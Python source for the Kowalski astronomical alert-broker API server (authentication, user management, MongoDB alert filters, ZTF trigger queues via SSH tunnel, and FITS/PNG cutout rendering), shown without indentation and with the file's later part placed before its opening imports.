- status
- message
- data
properties:
status:
type: string
enum: [success]
message:
type: string
user:
type: string
data:
description: "contains unique filter identifier"
type: object
additionalProperties:
type: object
properties:
fid:
type: string
description: "generated unique filter identifier"
minLength: 6
maxLength: 6
example:
"status": "success"
"message": "saved filter: c3ig1t"
"data": {
"fid": "c3ig1t"
}
'400':
description: filter parsing/testing/saving error
content:
application/json:
schema:
type: object
required:
- status
- message
properties:
status:
type: string
enum: [error]
message:
type: string
example:
status: error
message: "failure: <error message>"
"""
# allow both .json() and .post():
try:
filter_spec = await request.json()
except AttributeError:
filter_spec = await request.post()
filter_new = Filter(**filter_spec)
# check if a filter for these (group_id, filter_id) already exists:
filter_existing = await request.app["mongo_odm"].find_one(
Filter,
Filter.filter_id == filter_new.filter_id,
Filter.group_id == filter_new.group_id,
)
# new filter version:
pipeline = filter_spec.get("pipeline")
if not isinstance(pipeline, str):
pipeline = dumps(pipeline)
filter_version = FilterVersion(pipeline=pipeline)
try:
# try on most recently ingested alert to check correctness
n_docs = await request.app["mongo"][
filter_new.catalog
].estimated_document_count()
log(f"Found {n_docs} documents in {filter_new.catalog} collection")
if n_docs > 0:
# get latest candid:
select = (
request.app["mongo"][filter_new.catalog]
.find({}, {"_id": 0, "candid": 1})
.sort([("$natural", -1)])
.limit(1)
)
alert = await select.to_list(length=1)
alert = alert[0]
# filter pipeline upstream: select current alert, ditch cutouts, and merge with aux data
# including archival photometry and cross-matches:
filter_pipeline_upstream = config["database"]["filters"][
filter_new.catalog
]
filter_template = filter_pipeline_upstream + loads(
filter_version.pipeline
)
# match candid
filter_template[0]["$match"]["candid"] = alert["candid"]
# match permissions for ZTF
if filter_new.catalog.startswith("ZTF"):
filter_template[0]["$match"]["candidate.programid"][
"$in"
] = filter_new.permissions
filter_template[3]["$project"]["prv_candidates"]["$filter"]["cond"][
"$and"
][0]["$in"][1] = filter_new.permissions
cursor = request.app["mongo"][filter_new.catalog].aggregate(
filter_template, allowDiskUse=False, maxTimeMS=3000
)
await cursor.to_list(length=None)
test_successful, test_message = (
True,
f"pipeline test for filter id {filter_new.filter_id} successful",
)
log(test_message)
else:
test_successful, test_message = (
True,
f"WARNING: No documents in {filter_new.catalog} collection, "
f"cannot properly test pipeline for filter id {filter_new.filter_id}",
)
log(test_message)
except Exception as e:
log(e)
test_successful, test_message = False, str(e)
if not test_successful:
return self.error(message=test_message)
# if a filter does not exist for (filter_id, group_id), create one:
if filter_existing is None:
filter_new.fv.append(filter_version)
filter_new.active_fid = filter_version.fid
filter_new.last_modified = datetime.datetime.now()
await request.app["mongo_odm"].save(filter_new)
else:
# already exists? push new filter version and reset active_fid:
filter_existing.fv.append(filter_version)
filter_existing.active_fid = filter_version.fid
filter_existing.last_modified = datetime.datetime.now()
# note: filters are defined on streams on SkyPortal,
# with non-modifiable catalog and permissions parameters, so it should not be possible to modify such here
await request.app["mongo_odm"].save(filter_existing)
return self.success(
message=test_message + f"\nsaved new filter version: {filter_version.fid}",
data=filter_version.doc(),
)
@admin_required
async def patch(self, request: web.Request) -> web.Response:
"""Update user-defined filter
:param request:
:return:
---
summary: "Modify existing filters: activate/deactivate, set active_fid, autosave, or update_annotations"
tags:
- filters
requestBody:
required: true
content:
application/json:
schema:
type: object
required:
- filter_id
properties:
filter_id:
type: integer
description: "[fritz] filter id for this group id"
minimum: 1
active:
type: boolean
description: "activate or deactivate filter"
active_fid:
description: "set fid as active version"
type: string
minLength: 6
maxLength: 6
autosave:
type: boolean
description: "autosave candidates that pass filter to corresponding group?"
update_annotations:
type: boolean
description: "update annotations for new candidates that previously passed filter?"
examples:
filter_1:
value:
"filter_id": 1
"active": false
filter_2:
value:
"filter_id": 5
"active_fid": "r7qiti"
filter_3:
value:
"filter_id": 1
"autosave": true
filter_4:
value:
"filter_id": 1
"update_annotations": true
responses:
'200':
description: filter updated
content:
application/json:
schema:
type: object
required:
- status
- message
properties:
status:
type: string
enum: [success]
message:
type: string
example:
status: success
message: "updated filter id 1"
data:
active: false
'400':
description: filter not found or removal failed
content:
application/json:
schema:
type: object
required:
- status
- message
properties:
status:
type: string
enum: [error]
message:
type: string
examples:
filter not found:
value:
status: error
message: Filter id 1 not found
"""
# allow both .json() and .post():
try:
filter_spec = await request.json()
except AttributeError:
filter_spec = await request.post()
filter_id = filter_spec.get("filter_id")
# check if a filter for these (group_id, filter_id) already exists:
filter_existing = await request.app["mongo_odm"].find_one(
Filter, Filter.filter_id == filter_id
)
if filter_existing is None:
return self.error(message=f"Filter id {filter_id} not found")
filter_doc = filter_existing.doc()
# note: partial model loading is not (yet?) available in odmantic + need a custom check on active_fid
for modifiable_field in (
"active",
"active_fid",
"autosave",
"update_annotations",
):
value = filter_spec.get(modifiable_field)
if value is not None:
if modifiable_field == "active_fid" and value not in [
filter_version["fid"] for filter_version in filter_doc["fv"]
]:
raise ValueError(
f"Cannot set active_fid to {value}: filter version fid not in filter.fv"
)
filter_doc[modifiable_field] = value
filter_existing = Filter.parse_doc(filter_doc)
await request.app["mongo_odm"].save(filter_existing)
return self.success(
message=f"Updated filter id {filter_id}", data=filter_existing.doc()
)
@admin_required
async def delete(self, request: web.Request) -> web.Response:
"""Delete user-defined filter for (group_id, filter_id) altogether
:param request:
:return:
---
summary: Delete user-defined filter by filter_id
tags:
- filters
parameters:
- in: query
name: filter_id
description: filter id
required: true
schema:
type: integer
minimum: 1
responses:
'200':
description: filter removed
content:
application/json:
schema:
type: object
required:
- status
- message
properties:
status:
type: string
enum: [success]
message:
type: string
example:
status: success
message: "Removed filter for group_id=1, filter_id=1"
'400':
description: filter not found or removal failed
content:
application/json:
schema:
type: object
required:
- status
- message
properties:
status:
type: string
enum: [error]
message:
type: string
examples:
filter not found:
value:
status: error
message: Filter id 1 not found
"""
filter_id = int(request.match_info["filter_id"])
r = await request.app["mongo"].filters.delete_one({"filter_id": filter_id})
if r.deleted_count != 0:
return self.success(message=f"Removed filter id {filter_id}")
return self.error(message=f"Filter id {filter_id} not found")
class ZTFTrigger(Model, ABC):
"""Data model for ZTF trigger for streamlined validation"""
queue_name: str
validity_window_mjd: List[float]
targets: List[dict]
queue_type: str
user: str
class ZTFDelete(Model, ABC):
"""Data model for ZTF queue deletion for streamlined validation"""
queue_name: str
user: str
class ZTFTriggerHandler(Handler):
"""Handlers to work with ZTF triggers"""
def __init__(self, test: bool = False):
"""Constructor for ZTF trigger class
:param test: is this a test trigger?
:return:
"""
self.test = test
@admin_required
async def get(self, request: web.Request) -> web.Response:
"""Retrieve ZTF queue
:param request:
:return:
---
summary: Get ZTF queue
tags:
- triggers
requestBody:
required: true
content:
application/json:
schema:
type: object
responses:
'200':
description: queue retrieved
content:
application/json:
schema:
type: object
'400':
description: query parsing/execution error
content:
application/json:
schema:
type: object
"""
if self.test:
return self.success(message="submitted")
server = SSHTunnelForwarder(
(config["ztf"]["mountain_ip"], config["ztf"]["mountain_port"]),
ssh_username=config["ztf"]["mountain_username"],
ssh_password=config["ztf"]["mountain_password"],
remote_bind_address=(
config["ztf"]["mountain_bind_ip"],
config["ztf"]["mountain_bind_port"],
),
)
server.start()
url = f"http://{server.local_bind_address[0]}:{server.local_bind_address[1]}/queues"
async with ClientSession() as client_session:
async with client_session.get(url, json={}, timeout=10) as response:
response_json = await response.json()
server.stop()
if response.status == 200:
return self.success(message="retrieved", data=response_json)
return self.error(message=f"ZTF queue query attempt rejected: {response.text}")
@admin_required
async def put(self, request: web.Request) -> web.Response:
"""Trigger ZTF
:param request:
:return:
---
summary: Trigger ZTF
tags:
- triggers
requestBody:
required: true
content:
application/json:
schema:
type: object
responses:
'200':
description: queue submitted
content:
application/json:
schema:
type: object
'400':
description: query parsing/execution error
content:
application/json:
schema:
type: object
"""
_data = await request.json()
# validate
ZTFTrigger(**_data)
if self.test:
return self.success(message="submitted")
server = SSHTunnelForwarder(
(config["ztf"]["mountain_ip"], config["ztf"]["mountain_port"]),
ssh_username=config["ztf"]["mountain_username"],
ssh_password=config["ztf"]["mountain_password"],
remote_bind_address=(
config["ztf"]["mountain_bind_ip"],
config["ztf"]["mountain_bind_port"],
),
)
server.start()
url = f"http://{server.local_bind_address[0]}:{server.local_bind_address[1]}/queues"
async with ClientSession() as client_session:
response = await client_session.put(url, json=_data, timeout=10)
server.stop()
if response.status == 201:
return self.success(message="submitted", data=dict(response.headers))
elif response.status == 200:
data = dict(response.headers)
return self.error(
message=f"Submitted queue {data["queue_name"]} already exists",
status=409,
)
return self.error(message=f"ZTF trigger attempt rejected: {response.text}")
@admin_required
async def delete(self, request: web.Request) -> web.Response:
"""Delete ZTF request
:param request:
:return:
---
summary: Delete ZTF request
tags:
- triggers
requestBody:
required: true
content:
application/json:
schema:
type: object
responses:
'200':
description: queue removed
content:
application/json:
schema:
type: object
'400':
description: query parsing/execution error
content:
application/json:
schema:
type: object
"""
_data = await request.json()
# validate and preprocess
ZTFDelete(**_data)
if self.test:
return self.success(message="deleted")
server = SSHTunnelForwarder(
(config["ztf"]["mountain_ip"], config["ztf"]["mountain_port"]),
ssh_username=config["ztf"]["mountain_username"],
ssh_password=config["ztf"]["mountain_password"],
remote_bind_address=(
config["ztf"]["mountain_bind_ip"],
config["ztf"]["mountain_bind_port"],
),
)
server.start()
url = f"http://{server.local_bind_address[0]}:{server.local_bind_address[1]}/queues"
async with ClientSession() as client_session:
response = await client_session.delete(url, json=_data, timeout=10)
server.stop()
if response.status == 200:
return self.success(message="deleted", data=dict(response.headers))
return self.error(message=f"ZTF delete attempt rejected: {response.text}")
""" lab """
# @routes.get('/lab/ztf-alerts/{candid}/cutout/{cutout}/{file_format}', allow_head=False)
@auth_required
async def ztf_alert_get_cutout(request):
"""
Serve ZTF alert cutouts as fits or png
:param request:
:return:
---
summary: Serve ZTF alert cutout as fits or png
tags:
- lab
parameters:
- in: path
name: candid
description: "ZTF alert candid"
required: true
schema:
type: integer
- in: path
name: cutout
description: "retrieve science, template, or difference cutout image?"
required: true
schema:
type: string
enum: [science, template, difference]
- in: path
name: file_format
description: "response file format: original lossless FITS or rendered png"
required: true
schema:
type: string
enum: [fits, png]
- in: query
name: interval
description: "Interval to use when rendering png"
required: false
schema:
type: string
enum: [min_max, zscale]
- in: query
name: stretch
description: "Stretch to use when rendering png"
required: false
schema:
type: string
enum: [linear, log, asinh, sqrt]
- in: query
name: cmap
description: "Color map to use when rendering png"
required: false
schema:
type: string
enum: [bone, gray, cividis, viridis, magma]
responses:
'200':
description: retrieved cutout
content:
image/fits:
schema:
type: string
format: binary
image/png:
schema:
type: string
format: binary
'400':
description: retrieval failed
content:
application/json:
schema:
type: object
required:
- status
- message
properties:
status:
type: string
enum: [error]
message:
type: string
example:
status: error
message: "failure: <error message>"
"""
try:
candid = int(request.match_info["candid"])
cutout = request.match_info["cutout"].capitalize()
file_format = request.match_info["file_format"]
interval = request.query.get("interval")
stretch = request.query.get("stretch")
cmap = request.query.get("cmap", None)
known_cutouts = ["Science", "Template", "Difference"]
if cutout not in known_cutouts:
return web.json_response(
{
"status": "error",
"message": f"cutout {cutout} not in {str(known_cutouts)}",
},
status=400,
)
known_file_formats = ["fits", "png"]
if file_format not in known_file_formats:
return web.json_response(
{
"status": "error",
"message": f"file format {file_format} not in {str(known_file_formats)}",
},
status=400,
)
normalization_methods = {
"asymmetric_percentile": AsymmetricPercentileInterval(
lower_percentile=1, upper_percentile=100
),
"min_max": MinMaxInterval(),
"zscale": ZScaleInterval(nsamples=600, contrast=0.045, krej=2.5),
}
if interval is None:
interval = "asymmetric_percentile"
normalizer = normalization_methods.get(
interval.lower(),
AsymmetricPercentileInterval(lower_percentile=1, upper_percentile=100),
)
stretching_methods = {
"linear": LinearStretch,
"log": LogStretch,
"asinh": AsinhStretch,
"sqrt": SqrtStretch,
}
if stretch is None:
stretch = "log" if cutout != "Difference" else "linear"
stretcher = stretching_methods.get(stretch.lower(), LogStretch)()
if (cmap is None) or (
cmap.lower() not in ["bone", "gray", "cividis", "viridis", "magma"]
):
cmap = "bone"
else:
cmap = cmap.lower()
alert = await request.app["mongo"]["ZTF_alerts"].find_one(
{"candid": candid}, {f"cutout{cutout}": 1}, max_time_ms=10000
)
cutout_data = loads(dumps([alert[f"cutout{cutout}"]["stampData"]]))[0]
# unzipped fits name
fits_name = pathlib.Path(alert[f"cutout{cutout}"]["fileName"]).with_suffix("")
# unzip and flip about y axis on the server side
with gzip.open(io.BytesIO(cutout_data), "rb") as f:
with fits.open(io.BytesIO(f.read()), ignore_missing_simple=True) as hdu:
header = hdu[0].header
data_flipped_y = np.flipud(hdu[0].data)
if file_format == "fits":
hdu = fits.PrimaryHDU(data_flipped_y, header=header)
# hdu = fits.PrimaryHDU(data_flipped_y)
hdul = fits.HDUList([hdu])
stamp_fits = io.BytesIO()
hdul.writeto(fileobj=stamp_fits)
return web.Response(
body=stamp_fits.getvalue(),
content_type="image/fits",
headers=MultiDict(
{"Content-Disposition": f"Attachment;filename={fits_name}"}
),
)
if file_format == "png":
buff = io.BytesIO()
plt.close("all")
fig = plt.figure()
fig.set_size_inches(4, 4, forward=False)
ax = plt.Axes(fig, [0.0, 0.0, 1.0, 1.0])
ax.set_axis_off()
fig.add_axes(ax)
# replace nans with median:
img = np.array(data_flipped_y)
# replace dubiously large values
xl = np.greater(np.abs(img), 1e20, where=~np.isnan(img))
if img[xl].any():
img[xl] = np.nan
if np.isnan(img).any():
median = float(np.nanmean(img.flatten()))
img = np.nan_to_num(img, nan=median)
norm = ImageNormalize(img, stretch=stretcher)
img_norm = norm(img)
vmin, vmax = normalizer.get_limits(img_norm)
ax.imshow(img_norm, cmap=cmap, origin="lower", vmin=vmin, vmax=vmax)
plt.savefig(buff, dpi=42)
buff.seek(0)
plt.close("all")
return web.Response(body=buff, content_type="image/png")
except Exception as _e:
log(f"Got error: {str(_e)}")
_err = traceback.format_exc()
log(_err)
return web.json_response(
{"status": "error", "message": f"failure: {_err}"}, status=400
)
# @routes.get('/lab/zuds-alerts/{candid}/cutout/{cutout}/{file_format}', allow_head=False)
@auth_required
async def zuds_alert_get_cutout(request):
"""
Serve cutouts as fits or png
:param request:
:return:
---
summary: Serve ZUDS alert cutout as fits or png
tags:
- lab
parameters:
- in: path
name: candid
description: "ZUDS alert candid"
required: true
schema:
type: integer
- in: path
name: cutout
description: "retrieve science, template, or difference cutout image?"
required: true
schema:
type: string
enum: [science, template, difference]
- in: path
name: file_format
description: "response file format: original lossless FITS or rendered png"
required: true
schema:
type: string
enum: [fits, png]
- in: query
name: scaling
description: "Scaling to use when rendering png"
required: false
schema:
type: string
enum: [linear, log, arcsinh, zscale]
- in: query
name: cmap
description: "Color map to use when rendering png"
required: false
schema:
type: string
enum: [bone, gray, cividis, viridis, magma]
responses:
'200':
description: retrieved cutout
content:
image/fits:
schema:
type: string
format: binary
image/png:
schema:
type: string
format: binary
'400':
description: retrieval failed
content:
application/json:
schema:
type: object
required:
- status
- message
properties:
status:
type: string
enum: [error]
message:
type: string
example:
status: error
message: "failure: <error message>"
"""
try:
candid = int(request.match_info["candid"])
cutout = request.match_info["cutout"].capitalize()
file_format = request.match_info["file_format"]
scaling = request.query.get("scaling", None)
cmap = request.query.get("cmap", None)
known_cutouts = ["Science", "Template", "Difference"]
if cutout not in known_cutouts:
return web.json_response(
{
"status": "error",
"message": f"cutout {cutout} not in {str(known_cutouts)}",
},
status=400,
)
known_file_formats = ["fits", "png"]
if file_format not in known_file_formats:
return web.json_response(
{
"status": "error",
"message": f"file format {file_format} not in {str(known_file_formats)}",
},
status=400,
)
default_scaling = {"Science": "log", "Template": "log", "Difference": "linear"}
if (scaling is None) or (
scaling.lower() not in ("log", "linear", "zscale", "arcsinh")
):
scaling = default_scaling[cutout]
else:
scaling = scaling.lower()
if (cmap is None) or (
cmap.lower() not in ["bone", "gray", "cividis", "viridis", "magma"]
):
cmap = "bone"
else:
cmap = cmap.lower()
alert = await request.app["mongo"]["ZUDS_alerts"].find_one(
{"candid": candid}, {f"cutout{cutout}": 1}, max_time_ms=60000
)
cutout_data = loads(dumps([alert[f"cutout{cutout}"]]))[0]
# unzipped fits name
fits_name = f"{candid}.cutout{cutout}.fits"
# unzip and flip about y axis on the server side
with gzip.open(io.BytesIO(cutout_data), "rb") as f:
with fits.open(io.BytesIO(f.read()), ignore_missing_simple=True) as hdu:
header = hdu[0].header
# no need to flip it since Danny does that on his end
# data_flipped_y = np.flipud(hdu[0].data)
data_flipped_y = hdu[0].data
if file_format == "fits":
hdu = fits.PrimaryHDU(data_flipped_y, header=header)
# hdu = fits.PrimaryHDU(data_flipped_y)
hdul = fits.HDUList([hdu])
stamp_fits = io.BytesIO()
hdul.writeto(fileobj=stamp_fits)
return web.Response(
body=stamp_fits.getvalue(),
content_type="image/fits",
headers=MultiDict(
{"Content-Disposition": f"Attachment;filename={fits_name}"}
),
)
if file_format == "png":
buff = io.BytesIO()
plt.close("all")
fig = plt.figure()
fig.set_size_inches(4, 4, forward=False)
ax = plt.Axes(fig, [0.0, 0.0, 1.0, 1.0])
ax.set_axis_off()
fig.add_axes(ax)
# replace nans with median:
img = np.array(data_flipped_y)
# replace dubiously large values
xl = np.greater(np.abs(img), 1e20, where=~np.isnan(img))
if img[xl].any():
img[xl] = np.nan
if np.isnan(img).any():
median = float(np.nanmean(img.flatten()))
img = np.nan_to_num(img, nan=median)
if scaling == "log":
img[img <= 0] = np.median(img)
ax.imshow(img, cmap=cmap, norm=LogNorm(), origin="lower")
elif scaling == "linear":
ax.imshow(img, cmap=cmap, origin="lower")
elif scaling == "zscale":
interval = ZScaleInterval(
nsamples=img.shape[0] * img.shape[1], contrast=0.045, krej=2.5
)
limits = interval.get_limits(img)
ax.imshow(
img, origin="lower", cmap=cmap, vmin=limits[0], vmax=limits[1]
)
elif scaling == "arcsinh":
ax.imshow(np.arcsinh(img - np.median(img)), cmap=cmap, origin="lower")
plt.savefig(buff, dpi=42)
buff.seek(0)
plt.close("all")
return web.Response(body=buff, content_type="image/png")
except Exception as _e:
log(f"Got error: {str(_e)}")
_err = traceback.format_exc()
log(_err)
return web.json_response(
{"status": "error", "message": f"failure: {_err}"}, status=400
)
async def app_factory():
"""
App Factory
:return:
"""
# init db if necessary
await init_db(config=config)
# Database connection
mongodb_connection_string = (
f"mongodb://{config["database"]["admin_username"]}:{config["database"]["admin_password"]}@"
+ f"{config["database"]["host"]}:{config["database"]["port"]}"
)
if config["database"]["replica_set"] is not None:
mongodb_connection_string += f"/?replicaSet={config["database"]["replica_set"]}"
client = AsyncIOMotorClient(
mongodb_connection_string,
maxPoolSize=config["database"]["max_pool_size"],
)
mongo = client[config["database"]["db"]]
# admin to connect to this instance from outside using API
await add_admin(mongo, config=config)
# init app with auth and error handling middlewares
app = web.Application(middlewares=[auth_middleware, error_middleware])
# store mongo connection
app["mongo"] = mongo
# mark all enqueued tasks failed on startup
await app["mongo"].queries.update_many(
{"status": "enqueued"},
{"$set": {"status": "error", "last_modified": datetime.datetime.utcnow()}},
)
# graciously close mongo client on shutdown
async def close_mongo(_app):
_app["mongo"].client.close()
app.on_cleanup.append(close_mongo)
# use ODMantic to work with structured data such as Filters
engine = AIOEngine(motor_client=client, database=config["database"]["db"])
# ODM = Object Document Mapper
app["mongo_odm"] = engine
# set up JWT for user authentication/authorization
app["JWT"] = {
"JWT_SECRET": config["server"]["JWT_SECRET_KEY"],
"JWT_ALGORITHM": config["server"]["JWT_ALGORITHM"],
"JWT_EXP_DELTA_SECONDS": config["server"]["JWT_EXP_DELTA_SECONDS"],
}
# OpenAPI docs:
s = SwaggerDocs(
app,
redoc_ui_settings=ReDocUiSettings(path="/docs/api/"),
# swagger_ui_settings=SwaggerUiSettings(path="/docs/api/"),
validate=config["misc"]["openapi_validate"],
title=config["server"]["name"],
version=config["server"]["version"],
description=config["server"]["description"],
components="components_api.yaml",
)
# instantiate handler classes:
query_handler = QueryHandler()
filter_handler = FilterHandler()
ztf_trigger_handler = ZTFTriggerHandler()
ztf_trigger_handler_test = ZTFTriggerHandler(test=True)
# add routes manually
s.add_routes(
[
web.get("/", ping, name="root", allow_head=False),
# auth:
web.post("/api/auth", auth_post, name="auth"),
# users:
web.post("/api/users", users_post),
web.delete("/api/users/{username}", users_delete),
web.put("/api/users/{username}", users_put),
# queries:
web.post("/api/queries", query_handler.post),
# filters:
web.get(
r"/api/filters/{filter_id:[0-9]+}", filter_handler.get, allow_head=False
),
web.post("/api/filters", filter_handler.post),
web.patch("/api/filters", filter_handler.patch),
web.delete("/api/filters/{filter_id:[0-9]+}", filter_handler.delete),
# triggers
web.get("/api/triggers/ztf", ztf_trigger_handler.get),
web.put("/api/triggers/ztf", ztf_trigger_handler.put),
web.delete("/api/triggers/ztf", ztf_trigger_handler.delete),
web.put("/api/triggers/ztf.test", ztf_trigger_handler_test.put),
web.delete("/api/triggers/ztf.test", ztf_trigger_handler_test.delete),
# lab:
web.get(
"/lab/ztf-alerts/{candid}/cutout/{cutout}/{file_format}",
ztf_alert_get_cutout,
allow_head=False,
),
web.get(
"/lab/zuds-alerts/{candid}/cutout/{cutout}/{file_format}",
zuds_alert_get_cutout,
allow_head=False,
),
]
)
return app
uvloop.install()
if __name__ == "__main__":
web.run_app(app_factory(), port=config["server"]["port"])
| from abc import ABC
from aiohttp import web, ClientSession
from aiohttp_swagger3 import SwaggerDocs, ReDocUiSettings
from astropy.io import fits
from astropy.visualization import (
AsymmetricPercentileInterval,
MinMaxInterval,
ZScaleInterval,
LinearStretch,
LogStretch,
AsinhStretch,
SqrtStretch,
ImageNormalize,
)
from ast import literal_eval
from bson.json_util import dumps, loads
import datetime
import gzip
import io
import jwt
from matplotlib.colors import LogNorm
import matplotlib.pyplot as plt
from middlewares import auth_middleware, error_middleware, auth_required, admin_required
from motor.motor_asyncio import AsyncIOMotorClient
from multidict import MultiDict
import numpy as np
from odmantic import AIOEngine, EmbeddedModel, Field, Model
import pathlib
from pydantic import root_validator
from sshtunnel import SSHTunnelForwarder
import traceback
from typing import List, Mapping, Optional, Sequence, Union
from utils import (
add_admin,
check_password_hash,
generate_password_hash,
init_db,
load_config,
log,
radec_str2geojson,
uid,
)
import uvloop
config = load_config(config_file="config.yaml")["kowalski"]
class Handler:
@staticmethod
def success(message: str = "", data: Optional[Mapping] = None):
response = {"status": "success", "message": message}
if data is not None:
response["data"] = data
return web.json_response(response, status=200, dumps=dumps)
@staticmethod
def error(message: str = "", status: int = 400):
return web.json_response({"status": "error", "message": message}, status=status)
""" authentication and authorization """
def is_admin(username: str):
"""Check if user is admin
note: may want to change the logic to allow multiple users to be admins
:param username:
"""
return username == config["server"]["admin_username"]
# @routes.post('/api/auth')
async def auth_post(request: web.Request) -> web.Response:
"""
Authentication
---
summary: Get access token
tags:
- auth
requestBody:
required: true
content:
application/json:
schema:
type: object
required:
- username
- password
properties:
username:
type: string
password:
type: string
example:
username: user
password: PwD
responses:
'200':
description: access token
content:
application/json:
schema:
type: object
required:
- status
- token
properties:
status:
type: string
token:
type: string
example:
status: success
token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYWRtaW4iLCJleHAiOjE1OTE1NjE5MTl9.2emEp9EKf154WLJQwulofvXhTX7L0s9Y2-6_xI0Gx8w
'400':
description: username or password missing in requestBody
content:
application/json:
schema:
type: object
required:
- status
- message
properties:
status:
type: string
message:
type: string
examples:
missing username:
value:
status: error
message: missing username
missing password:
value:
status: error
message: missing password
'401':
description: bad credentials
content:
application/json:
schema:
type: object
required:
- status
- message
properties:
status:
type: string
message:
type: string
example:
status: error
message: wrong credentials
'500':
description: internal/unknown cause of failure
content:
application/json:
schema:
type: object
required:
- status
- message
properties:
status:
type: string
message:
type: string
example:
status: error
message: auth failed
"""
try:
try:
post_data = await request.json()
except AttributeError:
post_data = await request.post()
# must contain 'username' and 'password'
if ("username" not in post_data) or (len(post_data["username"]) == 0):
return web.json_response(
{"status": "error", "message": "missing username"}, status=400
)
if ("password" not in post_data) or (len(post_data["password"]) == 0):
return web.json_response(
{"status": "error", "message": "missing password"}, status=400
)
# connecting from penquins: check penquins version
if "penquins.__version__" in post_data:
penquins_version = post_data["penquins.__version__"]
if penquins_version not in config["misc"]["supported_penquins_versions"]:
return web.json_response(
{
"status": "error",
"message": "unsupported version of penquins: "
f'{post_data["penquins.__version__"]}',
},
status=400,
)
username = str(post_data["username"])
password = str(post_data["password"])
try:
# user exists and passwords match?
select = await request.app["mongo"].users.find_one({"_id": username})
if select is not None and check_password_hash(select["password"], password):
payload = {
"user_id": username,
"created_at": datetime.datetime.utcnow().strftime(
"%Y-%m-%dT%H:%M:%S.%f+00:00"
),
}
# optionally set expiration date
if request.app["JWT"]["JWT_EXP_DELTA_SECONDS"] is not None:
payload["exp"] = (
datetime.datetime.utcnow()
+ datetime.timedelta(
seconds=request.app["JWT"]["JWT_EXP_DELTA_SECONDS"]
)
).strftime("%Y-%m-%dT%H:%M:%S.%f+00:00")
jwt_token = jwt.encode(
payload=payload,
key=request.app["JWT"]["JWT_SECRET"],
algorithm=request.app["JWT"]["JWT_ALGORITHM"],
)
return web.json_response({"status": "success", "token": jwt_token})
else:
return web.json_response(
{"status": "error", "message": "wrong credentials"}, status=401
)
except Exception as _e:
log(_e)
_err = traceback.format_exc()
log(_err)
return web.json_response(
{"status": "error", "message": "wrong credentials"}, status=401
)
except Exception as _e:
log(_e)
_err = traceback.format_exc()
log(_err)
return web.json_response(
{"status": "error", "message": "auth failed"}, status=500
)
# @routes.get('/', name='ping', allow_head=False)
@auth_required
async def ping(request: web.Request) -> web.Response:
"""
ping/pong
:param request:
:return:
---
summary: ping/pong
tags:
- root
responses:
'200':
description: greetings to an authorized user
content:
application/json:
schema:
type: object
required:
- status
- message
properties:
status:
type: string
message:
type: string
example:
status: success
message: greetings from Kowalski!
"""
return web.json_response(
{"status": "success", "message": "greetings from Kowalski!"}, status=200
)
""" users """
# @routes.post('/api/users')
@admin_required
async def users_post(request: web.Request) -> web.Response:
"""
Add new user
:return:
---
summary: Add new user
tags:
- users
requestBody:
required: true
content:
application/json:
schema:
type: object
required:
- username
- password
properties:
username:
type: string
password:
type: string
email:
type: string
permissions:
type: string
example:
username: noone
password: nopas!
email: user@caltech.edu
responses:
'200':
description: added user
content:
application/json:
schema:
type: object
required:
- status
- message
properties:
status:
type: string
enum: [success]
message:
type: string
example:
status: success
message: added user noone
'400':
description: username or password missing in requestBody
content:
application/json:
schema:
type: object
required:
- status
- message
properties:
status:
type: string
enum: [error]
message:
type: string
example:
status: error
message: username and password must be set
'500':
description: internal/unknown cause of failure
content:
application/json:
schema:
type: object
required:
- status
- message
properties:
status:
type: string
enum: [error]
message:
type: string
example:
status: error
message: "failed to add user: <error message>"
"""
try:
_data = await request.json()
username = _data.get("username", "")
password = _data.get("password", "")
email = _data.get("email", None)
permissions = _data.get("permissions", dict())
if len(username) == 0 or len(password) == 0:
return web.json_response(
{"status": "error", "message": "username and password must be set"},
status=400,
)
# add user to coll_usr collection:
await request.app["mongo"].users.insert_one(
{
"_id": username,
"email": email,
"password": generate_password_hash(password),
"permissions": permissions,
"last_modified": datetime.datetime.now(),
}
)
return web.json_response(
{"status": "success", "message": f"added user {username}"}, status=200
)
except Exception as _e:
return web.json_response(
{"status": "error", "message": f"failed to add user: {_e}"}, status=500
)
# @routes.delete('/api/users/{username}')
@admin_required
async def users_delete(request: web.Request) -> web.Response:
"""
Remove user
:return:
---
summary: Remove user
tags:
- users
responses:
'200':
description: removed user
content:
application/json:
schema:
type: object
required:
- status
- message
properties:
status:
type: string
enum: [success]
message:
type: string
example:
status: success
message: removed user noone
'400':
description: username not found or is superuser
content:
application/json:
schema:
type: object
required:
- status
- message
properties:
status:
type: string
enum: [error]
message:
type: string
examples:
attempting superuser removal:
value:
status: error
message: cannot remove the superuser!
username not found:
value:
status: error
message: user noone not found
'500':
description: internal/unknown cause of failure
content:
application/json:
schema:
type: object
required:
- status
- message
properties:
status:
type: string
enum: [error]
message:
type: string
example:
status: error
message: "failed to remove user: <error message>"
"""
try:
# get query params
username = request.match_info["username"]
if username == config["server"]["admin_username"]:
return web.json_response(
{"status": "error", "message": "cannot remove the superuser!"},
status=400,
)
# try to remove the user:
r = await request.app["mongo"].users.delete_one({"_id": username})
if r.deleted_count != 0:
return web.json_response(
{"status": "success", "message": f"removed user {username}"}, status=200
)
else:
return web.json_response(
{"status": "error", "message": f"user {username} not found"}, status=400
)
except Exception as _e:
return web.json_response(
{"status": "error", "message": f"failed to remove user: {_e}"}, status=500
)
# @routes.put('/api/users/{username}')
@admin_required
async def users_put(request: web.Request) -> web.Response:
"""
Edit user data
:return:
---
summary: Edit user data
tags:
- users
requestBody:
required: true
content:
application/json:
schema:
type: object
properties:
username:
type: string
password:
type: string
example:
username: noone
responses:
'200':
description: edited user
content:
application/json:
schema:
type: object
required:
- status
- message
properties:
status:
type: string
enum: [success]
message:
type: string
example:
status: success
message: edited user noone
'400':
description: cannot rename superuser
content:
application/json:
schema:
type: object
required:
- status
- message
properties:
status:
type: string
enum: [error]
message:
type: string
examples:
attempting superuser renaming:
value:
status: error
message: cannot rename the superuser!
'500':
description: internal/unknown cause of failure
content:
application/json:
schema:
type: object
required:
- status
- message
properties:
status:
type: string
enum: [error]
message:
type: string
example:
status: error
message: "failed to remove user: <error message>"
"""
try:
_data = await request.json()
_id = request.match_info["username"]
username = _data.get("username", "")
password = _data.get("password", "")
if (
_id == config["server"]["admin_username"]
and username != config["server"]["admin_username"]
):
return web.json_response(
{"status": "error", "message": "cannot rename the superuser!"},
status=400,
)
# change username:
if (_id != username) and (len(username) > 0):
select = await request.app["mongo"].users.find_one({"_id": _id})
select["_id"] = username
await request.app["mongo"].users.insert_one(select)
await request.app["mongo"].users.delete_one({"_id": _id})
